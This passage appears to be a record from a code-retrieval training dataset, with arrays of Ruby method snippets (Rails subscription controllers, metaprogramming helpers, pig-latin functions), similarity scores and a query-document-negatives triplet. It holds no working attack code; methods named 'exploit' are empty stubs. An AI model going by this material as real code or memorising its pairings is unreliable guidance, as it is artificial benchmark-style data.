method_missing(m, *args, &b)\n klass = @vocabulary.const_get(m) rescue nil # Catch missing lower-case names (wrong constant) and use super\n if invalid_object_type klass\n super\n else\n define_class_accessor m, klass\n send(m, *args, &b)\n end\n end", "def decorate(klass) #:nodoc:\n registered.each do |plugin|\n name = plugin.name.split(/::/).last.gsub(/([A-Z])/, '_\\1').downcase.\n sub(/^_/, '')\n ivar = \"@#{name}\"\n\n klass.send(:define_method, name) do\n instance = instance_variable_defined?(ivar) &&\n instance_variable_get(ivar)\n\n instance ||= instance_variable_set(ivar, plugin.new(self))\n end\n end\n end", "def display_class_info\n end", "def orig_cls\n\t\treturn self.class.orig_cls\n\tend", "def object_class\n decorator_class&.object_class || super\n end", "def extended(object)\n super\n\n case object\n when Class\n raise RuntimeError, \"extending classes with feature flags is not currently supported\"\n when Module\n Flaggable.setup_flaggable_object(object)\n\n # Add the feature check methods to the module that was extended.\n #\n object.internal_feature_checks_module.include internal_feature_checks_module\n\n # Because we added feature check methods above, extend again to make them available.\n #\n object.extend internal_feature_checks_module\n\n # Add the feature methods to the module's internal feature module.\n #\n object.internal_feature_module.include internal_feature_module\n\n # Add our feature flags to the object's feature flags.\n #\n object.feature_flags.concat(feature_flags)\n end\n end", "def classify\n MotionSupport::Inflector.classify(self)\n end", "def can_get_class?(klass); true; end", "def append_features( hooked_instance )\n \n original_append_features( hooked_instance )\n super if defined?( super )\n \n end", "def methods(inherited_too=true)\n ensure_apply_object_class\n target_names = @attr_methods.keys + @attr_aliases.keys\n target_names -= ['objectClass', Inflector.underscore('objectClass')]\n super + target_names.uniq.collect do |x|\n [x, \"#{x}=\", \"#{x}?\", \"#{x}_before_type_cast\"]\n end.flatten\n end", "def protected_instance_methods(include_super=true) end", "def instance_type; end", "def add_class klass\n @display.print_class klass\n end", "def class_eval(*args, &block)\r\n metaclass.class_eval(*args, &block)\r\n end", "def declare_embedded_in_definition_in_custom_field(name)\n klass_name = dynamic_custom_field_class_name(name).split('::').last # Use only the class, ignore the modules\n\n source = safe_module_parents.size > 1 ? safe_module_parents.first : Object\n\n return if source.const_defined?(klass_name)\n\n (klass = Class.new(::CustomFields::Field)).class_eval <<-EOF, __FILE__, __LINE__ + 1\n embedded_in :#{self.name.demodulize.underscore}, inverse_of: :#{name}_custom_fields, class_name: '#{self.name}'\n EOF\n\n source.const_set(klass_name, klass)\n end", "def safe_constantize\n ActiveSupport::Inflector.safe_constantize(self)\n end", "def included( hooked_instance )\n \n super if defined?( super )\n \n end", "def attr_type_to_editor_map\n {\n :integer => :numberfield,\n :boolean => :checkbox,\n :date => :datefield,\n :datetime => :datetimefield,\n :text => :textarea,\n :string => :textfield\n }\n end" ]
[ "0.646508", "0.6167005", "0.6167005", "0.6126345", "0.59056693", "0.5834514", "0.57772166", "0.57772166", "0.57196903", "0.5717793", "0.56755", "0.56755", "0.56188565", "0.5602623", "0.5602623", "0.5602623", "0.5577615", "0.5550352", "0.5502718", "0.5488895", "0.54771125", "0.54771125", "0.54651105", "0.54412466", "0.54412466", "0.5409177", "0.5392544", "0.5386915", "0.5383553", "0.53627396", "0.5324083", "0.5319831", "0.5319831", "0.52790064", "0.5238717", "0.5238111", "0.5234354", "0.5234354", "0.52294105", "0.52235353", "0.52118963", "0.5211172", "0.520228", "0.5193758", "0.5185817", "0.5183614", "0.5154861", "0.5154861", "0.5133989", "0.5120913", "0.50910133", "0.508874", "0.50879735", "0.5077032", "0.50689626", "0.5051578", "0.5049295", "0.5045572", "0.5044879", "0.5031367", "0.5030223", "0.5030223", "0.50301963", "0.5020074", "0.50108093", "0.5010342", "0.5010071", "0.5005648", "0.4994971", "0.49905783", "0.49880308", "0.49868047", "0.49856615", "0.49824813", "0.49823818", "0.49793962", "0.4977206", "0.49741647", "0.49675712", "0.49551627", "0.49365154", "0.4934087", "0.49140924", "0.49107283", "0.49085382", "0.4902957", "0.48904687", "0.48892477", "0.48861685", "0.48714402", "0.48694897", "0.48632872", "0.48606953", "0.48544994", "0.48483494", "0.48422745", "0.48420733", "0.48384315", "0.48338842", "0.48334202" ]
0.51518357
48
This is veryvery experimental, security issue, ugly, piggy thing
def example_entity @example_entity ||= model&.last end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def safe; end", "def exploit\n end", "def secret_method_1\n end", "def spice; end", "def anchored; end", "def private; end", "def secret_method_2 # :nodoc:\n end", "def ygg_attacker() ; return nil ; end", "def weber; end", "def whitelist; end", "def silly_adjective; end", "def sharded?; true; end", "def safelist; end", "def skip_authorization; end", "def escaper; end", "def signed_or_encrypted; end", "def name_safe?; end", "def sanitize!; end", "def anonymous_safelists; end", "def safelists; end", "def access_control\n \n end", "def sharded?; false; end", "def isolated; end", "def isolated; end", "def autofinish; end", "def taint() end", "def sharp; accidental; end", "def sandbox?; end", "def sandbox?; end", "def single_exploit\n end", "def suivre; end", "def secret_method #:nodoc:\n end", "def hijacked; end", "def probers; end", "def pig_latin(word)\n # Encrypts words into pig latin\n # if/else: catches the \"qu\" phoneme to treat it as a group\n # until: builds the word section to be shifted to the end\n i = 0\n shift = ''\n vowels = ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']\n if word.include?('qu') == true\n until \"u\".include? (word[i]) do\n shift += word[i]\n i += 1\n end\n shift += word[i]\n else \n until vowels.include? (word[i]) do \n shift += word[i]\n i += 1\n end\n end\n word.sub(shift, '') + shift.downcase + 'ay'\nend", "def escaper=(_); end", "def invention; end", "def sandbox; end", "def sandbox; end", "def specialty; end", "def allow_anon\n end", "def secret\n \"whatamidoing\"\n end", "def scientist; end", "def obfuscate(text); end", "def secret\n super\n end", "def mask_protected_sequences\n # protect __send__, __FILE__, etc.\n @str.gsub!(/__([a-z]+)__/i,\n \"_#{PROTECT_ATTR}_#{PROTECT_ATTR}\\\\1_#{PROTECT_ATTR}_#{PROTECT_ATTR}\")\n @str.gsub!(/(\\A|[^\\\\])\\\\([#{Regexp.escape @protectable.join}])/m,\n \"\\\\1\\\\2#{PROTECT_ATTR}\")\n @str.gsub!(/\\\\(\\\\[#{Regexp.escape @protectable.join}])/m, \"\\\\1\")\n end", "def salt() 'monkeynutzzSfaKT7CwImCHCH8Ow' end", "def possibly_include_hidden?; end", "def brute_exploit(addrs)\n end", "def boring_parrot(thing)\n thing\nend", "def awaken!\n\t\traise 'Not implemented'\n\tend", "def secure?\n true\n end", "def secure_subresource_integrity_context?; end", "def secure_subresource_integrity_context?; end", "def cobasysprog\n end", "def pig_latin(word)\n\nif word[0..0] =~ /[A-Z]/\n is_cap = true\nelse\n is_cap = false\nend\n\n if word.slice(0) == \"a\" ||\n word.slice(0) == \"e\" ||\n word.slice(0) == \"i\" ||\n word.slice(0) == \"o\" ||\n word.slice(0) == \"u\"\n word += \"way\"\n\n elsif word.slice(0..1) == \"qu\"\n word = word.slice(2..word.length) + word.slice(0..1) + \"ay\"\n\n elsif word.slice(1) == \"a\" ||\n word.slice(1) == \"e\" ||\n word.slice(1) == \"i\" ||\n word.slice(1) == \"o\" ||\n word.slice(1) == \"u\"\n word = word.slice(1..word.length) + word.slice(0) + \"ay\"\n\n elsif word.slice(2) == \"a\" ||\n word.slice(2) == \"e\" ||\n word.slice(2) == \"i\" ||\n word.slice(2) == \"o\" ||\n word.slice(2) == \"u\"\n word = word.slice(2..word.length) + word.slice(0..1) + \"ay\"\n\n elsif word.slice(3) == \"a\" ||\n word.slice(3) == \"e\" ||\n word.slice(3) == \"i\" ||\n word.slice(3) == \"o\" ||\n word.slice(3) == \"u\"\n word = word.slice(3..word.length) + word.slice(0..2) + \"ay\"\n\n end\n if is_cap == true\n return word.capitalize\n else\n return word\n end\nend", "def kex; end", "def scrubbed\n end", "def safe_by_default; end", "def protected\n\tend", "def allowed?; true end", "def hygienic?; @hygienic; end", "def as_you_like_it_quote; end", "def slop!; end", "def slop!; end", "def hiss; end", "def my_protected\n puts \"Hello from protected\"\n end", "def original; end", "def host_authorization; end", "def host_authorization; end", "def tainted?() end", "def third_party_processors; end", "def secure?\n false\n end", "def strict_filters; end", "def extra; end", "def authorization; end", "def isolated?; end", "def isolated?; end", "def ibu; end", "def signing_input=(_); end", "def signing_input=(_); end", "def sanitize(name)\n #name.gsub(\".\", \"_\").gsub(/<.+>/, \"\")\n name.gsub(\".\", \"_\").gsub(\"$\", \"_\")\nend", "def how_private(x)\n return(\"ich bin how_private\")\n end", "def muster_erzeugen()\n end", "def signing_input; end", "def signing_input; end", "def ignore; end", "def buzzword; end", "def buzzword; end", "def make_safe!\n return false\n end", "def internal; end", "def valid_principals; end", "def pig_it(string)\n string2 = string.split.map{|e|e == '!' || e == '?' ? e : e.to_s << (e[0]) }.join(' ')\n\n string3 = string2.split.map{|e|e == '!' || e == '?' ? e : e.to_s << 'ay'}.join(' ')\n\n string3.split.map{|e| e == '!' || e == '?' ? e : e = e[1..-1]}.join(' ')\nend", "def pig(word, howmany = 0)\r\n chars = word.split(//)\r\n lastletter_index = word.rindex(/\\w/)\r\n puncs = {}\r\n \r\n #grab punctuation, store info in hash\r\n chars.each_index { |x| puncs[x] = chars.at(x) if chars.at(x) =~ /\\W/ }\r\n\r\n #delete punctuation so we only deal with letters, does nothing if no punc \r\n chars.delete_if {|x| puncs.values.include?(x)} \r\n\r\n #not the most elegant for dealing with starts-with-vowel words, but more modular this way\r\n #skip this swapping stuff if it's a vowel for first letter\r\n if(howmany > 0) \r\n first = chars.slice!(0, howmany) #grab the first n chars, delete grabbed\r\n\r\n if(first[0] == first[0].upcase) #word was capitalized, swap order\r\n chars[0].upcase!\r\n first[0].downcase!\r\n end\r\n\r\n chars += first\r\n end\r\n\r\n #add back punctuation if it existed, does nothing if no punc\r\n puncs.keys.each { |key| chars.insert(key, puncs[key]) }\r\n \r\n #length == 1 means we got a single vowel like \"I\"; different rule\r\n chars.length == 1 ? chars << \"way\" : chars.insert(lastletter_index + 1, \"ay\") \r\n return chars.join(\"\")\r\nend", "def schubert; end", "def valid_principals=(_arg0); end", "def before_filter; end", "def capable_plain_auth?; end", "def chop!() end", "def chop!() end", "def preproc; end" ]
[ "0.6003868", "0.56604725", "0.5629768", "0.5558828", "0.5526343", "0.5507268", "0.54845643", "0.54528475", "0.5367055", "0.5361867", "0.533751", "0.53168344", "0.52989703", "0.52928954", "0.528961", "0.5288071", "0.52869457", "0.52734876", "0.52698797", "0.5259207", "0.52511495", "0.5227097", "0.5222534", "0.5222534", "0.5216164", "0.5211841", "0.51947135", "0.5188921", "0.5188921", "0.517735", "0.5129029", "0.51274264", "0.51200426", "0.5096271", "0.5091979", "0.5074987", "0.5073024", "0.5066314", "0.5066314", "0.50397605", "0.5033908", "0.5032189", "0.5028129", "0.5019539", "0.49941647", "0.49776995", "0.49766204", "0.49752772", "0.49732366", "0.49727157", "0.49511257", "0.49502558", "0.49443397", "0.49437332", "0.49395862", "0.4936329", "0.4934488", "0.49232137", "0.4909168", "0.49059653", "0.4900337", "0.48971137", "0.48970175", "0.48969153", "0.48969153", "0.48951274", "0.4890913", "0.4886109", "0.488359", "0.488359", "0.48807764", "0.48797196", "0.4868616", "0.48651966", "0.4860639", "0.48589942", "0.48568174", "0.48568174", "0.4844201", "0.48393643", "0.48393643", "0.48353645", "0.4832608", "0.48323125", "0.48296234", "0.48296234", "0.48289278", "0.4827402", "0.4827402", "0.48273832", "0.4827089", "0.48235446", "0.4823165", "0.48182446", "0.48178056", "0.4806521", "0.48052728", "0.47988772", "0.4795047", "0.4795047", "0.47938105" ]
0.0
-1
GET /subscriptions GET /subscriptions.xml
def index respond_to do |format| format.html do # index.html.erb @subscriptions_col1 = Subscription.find(:all, :conditions=>['user_id = ? and pos_x = 0',session['user_id']], :order => "pos_x, pos_y") @subscriptions_col2 = Subscription.find(:all, :conditions=>['user_id = ? and pos_x = 1',session['user_id']], :order => "pos_x, pos_y") @subscriptions_col3 = Subscription.find(:all, :conditions=>['user_id = ? and pos_x = 2',session['user_id']], :order => "pos_x, pos_y") end format.xml do @subscriptions = Subscription.find(:all, :conditions=>['user_id = ?',session['user_id']]) render :xml => @subscriptions end format.rss do @subscriptions = Subscription.find(:all, :conditions=>['user_id = ?', session['user_id']]) @lastUpdated = Subscription.find(:first, :conditions=>['mes.user_id = ?', session['user_id']], :include => 'me', :order => 'mes.updated_at DESC') render :layout => false # uses index.rss.builder end format.js do if session['user_id'].nil? render :json => {:error => 'login failed'}, :status => 403 else @subscriptions = Subscription.find(:all, :conditions=>['subscriptions.user_id = ? and subscriptions.me_id is not null',session['user_id']], :include => 'me', :order => 'mes.updated_at DESC') render :json => @subscriptions.to_json(:include => { :me => { :include => { :me_sections => { :include => :section }, :comments => { :include => :user } } } }) end #render :json => @subscriptions.to_json end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def all_subscriptions\n get(url_(\"subscription\"))\n end", "def list_my_subscriptions() path = \"/api/v2/utilities/subscriptions\"\n get(path, {}, AvaTax::VERSION) end", "def subscriptions\n url = url_with_api_version(@base_url, 'subscriptions')\n resp = rest_get(url)\n JSON.parse(resp.body)[\"value\"]\n end", "def list_subscriptions(user)\n get(\"/#{user}/lists/subscriptions.json\")\n end", "def list_subscriptions(options = {})\n api.graph_call(subscription_path, {}, \"get\", options)\n end", "def get_subscriptions\n get_subscriptions_from(@nodename)\n end", "def subscriptions( params={} )\n subscriptions = get_connections(\"subscriptions\", params)\n return map_connections subscriptions, :to => Facebook::Graph::Subscription\n end", "def index\n @subscriptions = Subscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscriptions }\n end\n end", "def index\n @subscriptions = Subscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscriptions }\n end\n end", "def index\n\t\tindex_\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @subscriptions }\n\t\tend\n\tend", "def user_vendor_subscriptions\n get(\"/api/v1/oauth_user_vendor_subscriptions.json\")\n end", "def get_subscriptions(id:, order: nil)\n if order\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions?order=#{uri_encode(order)}\")\n else\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions\")\n end\n end", "def get_subscriptions(id:, order: nil)\n if order\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions?order=#{uri_encode(order)}\")\n else\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions\")\n end\n end", "def get_subscriptions(opts = {})\n data, _status_code, _headers = get_subscriptions_with_http_info(opts)\n return data\n end", "def list_subscription\n response = Faraday.get(@subscription_api_url)\n response_json = JSON.parse(response.body)\n fix_response(response_json)\n end", "def index\n @api_subscriptions = Api::Subscription.all\n end", "def index\n @subscriptions = @screen.subscriptions.all\n auth!\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscriptions }\n end\n end", "def index\n @subscriptions = current_user.subscriptions.order(:created_at)\n @user = current_user\n\n if not current_user.fitbit.nil?\n begin\n @fitbit_subscriptions = JSON.parse(current_user.fitbit.client.get('/1/user/-/apiSubscriptions.json').body)['apiSubscriptions']\n rescue SocketError\n logger.error \"Can not talk to fitbit\"\n end\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subscriptions }\n end\n end", "def index\n @subscriptions = @screen.subscriptions.where(field_id: @field.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @subscriptions }\n end\n end", "def subscriptions(page = 1)\n Dropio::Resource.client.subscriptions(self, page)\n end", "def show\n @subscription = Subscription.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def show\n\t\tshow_\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @subscription }\n\t\tend\n\tend", "def list_subscriptions options = {}\n paged_enum = subscriber.list_subscriptions project: project_path(options),\n page_size: options[:max],\n page_token: options[:token]\n\n paged_enum.response\n end", "def index\n @subscriptions = current_user.subscriptions.all\n end", "def index\n @my_subscriptions = current_user.active_subscriptions\n end", "def get_all_subscriptions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SubscriptionsApi.get_all_subscriptions ...\"\n end\n # resource path\n local_var_path = \"/subscriptions\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'uid'] = opts[:'uid'] if !opts[:'uid'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'count'] = opts[:'count'] if !opts[:'count'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['artikcloud_oauth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SubscriptionsEnvelope')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SubscriptionsApi#get_all_subscriptions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @crytosubscriptions = Crytosubscription.all\n end", "def subscriber_list(statuspage_id)\n request :method => :get,\n :url => @url + 'subscriber/list/' + statuspage_id\n end", "def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :organization_key => HttpClient::Preconditions.assert_class_or_nil('organization_key', opts.delete(:organization_key), String),\n :user_guid => HttpClient::Preconditions.assert_class_or_nil('user_guid', HttpClient::Helper.to_uuid(opts.delete(:user_guid)), String),\n :publication => HttpClient::Preconditions.assert_class_or_nil('publication', opts[:publication].nil? ? nil : (opts[:publication].is_a?(Apidoc::Models::Publication) ? opts.delete(:publication) : Apidoc::Models::Publication.apply(opts.delete(:publication))), Apidoc::Models::Publication),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/subscriptions\").with_query(query).get.map { |hash| Apidoc::Models::Subscription.new(hash) }\n end", "def get_subscription(subscription_id)\n get(url_(\"subscription\", subscription_id))\n end", "def index\n if params[:client_id].blank?\n @subscriptions = Subscription.all\n else\n @subscriptions = Client.find(params[:client_id]).subscriptions\n end\n end", "def index\n @subscriptions = Subscription.all\n end", "def index\n @subscriptions = Subscription.all\n end", "def index\n @subscriptions = Subscription.all\n end", "def get_subscription subscription_name, options = {}\n subscriber.get_subscription subscription: subscription_path(subscription_name, options)\n end", "def list_subs\n \t@subs = instagram_client.subscriptions\n end", "def show\n @subscription = Subscription.find(params[:id])\n auth!\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @subscription }\n end\n end", "def subscriptions\n @subscriptions ||= begin\n resp = @client.access_token.get('/reader/api/0/subscription/list?output=json')\n raise \"unable to retrieve the list of subscription for user \\\"#{user_id}\\\": #{resp.inspect}\" unless resp.code_type == Net::HTTPOK\n JSON.parse(resp.body)['subscriptions'].collect do |hash|\n Google::Reader::Subscription.new(hash.merge({:client => @client}))\n end\n end\n end", "def show\n @service_subscription = ServiceSubscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service_subscription }\n end\n end", "def subscriptions\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('subscriptions',:node => node_id)\n )\n )\n send_iq_stanza_fibered iq\n end", "def show\n @subscription = current_user.subscriptions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def show\n @subscription = current_user.subscriptions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def index\r\n @subscriptions = current_business_user.subscriptions.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @subscriptions }\r\n end\r\n end", "def getAllSubscriptions\n if @subscriptionLists.hasKey(\"subscriptions\")\n return @subscriptionLists.getRepositoryObject(\"subscriptions\").getObject\n end\n end", "def subscriptions\n @subscriptions ||= {}\n end", "def subscriptions()\n return MicrosoftGraph::Subscriptions::SubscriptionsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def show\n @subscription = Subscription.find(params[:id], :conditions => \"user_id = #{session['user_id']}\")\n\n respond_to do |format|\n format.html { redirect_to(subscriptions_path) }\n format.xml { render :xml => @subscription }\n format.rss { render :layout => false } # uses show.rss.builder\n end\n end", "def show\n @subscription_history = SubscriptionHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription_history }\n end\n end", "def user_subscriptions(user_id, options={})\n response = connection.get do |req|\n req.url \"/user/#{user_id}/subscriptions\", simple_params(options)\n end\n response.body\n end", "def show\n @subscription = Subscription.find(params[:id])\n auth!\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def index\n @q = ::Pushar::Core::Subscription.unscoped.search(params[:q])\n @q.sorts = 'created_at desc' if @q.sorts.empty?\n @subscriptions = @q.result(distinct: true).page(params[:page]).per(50)\n end", "def index\n @subscriptions = Subscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subscriptions }\n end\n end", "def subscription(repo, options = {})\n get \"#{Repository.path repo}/subscription\", options\n end", "def subscriptions; end", "def subscriptions; end", "def subscriptions; end", "def subscribed(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Recipients/Subscribed\", params: params)\n end", "def show\r\n @subscription = Subscription.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @subscription }\r\n end\r\n end", "def service_subscriptions\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('subscriptions')\n )\n )\n send_iq_stanza_fibered iq\n end", "def subscriptions\n ::Syncano::QueryBuilder.new(self, ::Syncano::Resources::Subscription)\n end", "def subscriptions(user_id)\n response = rest_client.get(signature_url(\"/subscription/?user_id=#{user_id}\"))\n process_response(response)\n end", "def get_subscriptions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SubscriptionApi.get_subscriptions ...\"\n end\n if @api_client.config.client_side_validation && !opts[:'page'].nil? && opts[:'page'] > 10000000\n fail ArgumentError, 'invalid value for \"opts[:\"page\"]\" when calling SubscriptionApi.get_subscriptions, must be smaller than or equal to 10000000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page'].nil? && opts[:'page'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page\"]\" when calling SubscriptionApi.get_subscriptions, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'size'].nil? && opts[:'size'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"size\"]\" when calling SubscriptionApi.get_subscriptions, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'size'].nil? && opts[:'size'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"size\"]\" when calling SubscriptionApi.get_subscriptions, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = \"/v1/subscription\"\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'search'] = opts[:'search'] if !opts[:'search'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SubscriptionSearch')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SubscriptionApi#get_subscriptions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def subscribed()\n\t\t#add access token to header\n\t\theader = {\"Authorization\": \"Bearer #{@adal_response.access_token}\"}\n\t\t#poll to get available content\n\t\trequest_uri = \"https://manage.office.com/api/v1.0/#{@tenantid}/activity/feed/subscriptions/list\"\n response = Requests.request(\"GET\", request_uri, headers: header)\n @logger.info(\"[#{@content_type}] Subscription list: \\n#{response.json()}}\")\n\n\t\tresponse.json().each do |item|\n\t\t\tif item[\"contentType\"] == @content_type\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\tfalse\n\tend", "def all\n get(\"#{domain}/unsubscribes\")\n end", "def subscriptions\n @subscriptions ||= get_roster || {}\n end", "def index\n @subscribers = Subscriber.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscribers }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def index\n if @view = params[:view].allow(ALLOWED_VIEW)\n unless @subscriptions = Subscription.try(@view)\n raise_404\n end\n else\n @subscriptions = Subscription.all\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end", "def index\n @subscriptions = @user.subscriptions.order(updated_at: :desc)\n end", "def subscriptions\n\t\t@subscriptions = current_user.customer.subjects\n\tend", "def show\n if session[:user_id] \n @subscription = Subscription.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end\n end", "def index\n @title = \"Your subscriptions\"\n #@service_subscriptions = current_user.service_subscriptions\n #only return subscriptions for services which are enabled\n @service_subscriptions = current_user.service_subscriptions.find(:all, :joins => [:service], :conditions => ['`services`.enabled = ?', true])\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @service_subscriptions }\n end\n end", "def index\n @subscriptions = Subscription.all\nend", "def get(subscription_key)\n args = ZAPIArgs.new\n args.uri = Resource_Endpoints::GET_SUBSCRIPTION.gsub(\"{subscription-key}\", ERB::Util.url_encode(subscription_key))\n\n puts \"========== GET A SUBSCRIPTION ============\"\n\n begin\n @z_client.get(args) do |resp|\n ap resp\n return resp if resp.httpStatusCode.to_i == 200 && resp.success\n end\n rescue ArgumentError => e\n puts e.message\n rescue RuntimeError => e\n puts e.message\n end\n\n nil\n end", "def get_subscribers\n @subscriptions = subscribers(@nodename)\n end", "def all_subscriptions(&block)\n subscriptions.list(&block)\n end", "def subscription_info(subscription_id = @subscription_id)\n url = url_with_api_version(@base_url, 'subscriptions', subscription_id)\n resp = rest_get(url)\n JSON.parse(resp.body)\n end", "def index\n @subscription_types = SubscriptionType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscription_types }\n end\n end", "def index \n if session[:user_id] \n @subscriptions = Subscription.all(:conditions => [\"user_id = ?\", session[:user_id]])\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscriptions }\n end\n else\n redirect_to \"/login\"\n end\n end", "def list_topics_subscriptions topic, options = {}\n publisher.list_topic_subscriptions topic: topic_path(topic, options),\n page_size: options[:max],\n page_token: options[:token]\n end", "def show_subscriptions\n puts \"\\nYour current subscriptions are:\"\n @user.subscriptions.reload.each do |sub|\n puts sub.name\n end\n end", "def index\n @admin_subscriptions = Subscription.all\n end", "def new\n @subscription = Subscription.new\n @subscription.confirmed = true\n get_list_and_segments\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subscription }\n end\n end", "def subscription\n ret = nil\n if type == 'S'\n ret = @mc2p.subscription('id' => @json_body['id'])\n ret.retrieve\n end\n ret\n end", "def index\n @vendor_subscriptions = VendorSubscription.all\n end", "def subscriptions\n @channels\n end", "def get_subscriptions(*args)\n raise_unsupported\n end", "def subscription\n Zapi::Models::Subscription.new\n end", "def get_all_subscriptions(opts = {})\n data, _status_code, _headers = get_all_subscriptions_with_http_info(opts)\n return data\n end", "def subscriptions\n # subscriber entries are embedded in subscriptions inside of an\n # org. We'll flip this, so that we only return subscriber entries\n # for the account\n orgs = Org.all(:conditions=>{ \"subscriptions.subscribers.account_id\"=> self.id})\n subscribers = []\n orgs.each do |org|\n org.subscriptions.each do |subscription|\n subscribers += subscription.subscribers.select { |subscriber| subscriber.account_id.to_s == self.id.to_s }\n end\n end\n subscribers.flatten!\n subs = []\n 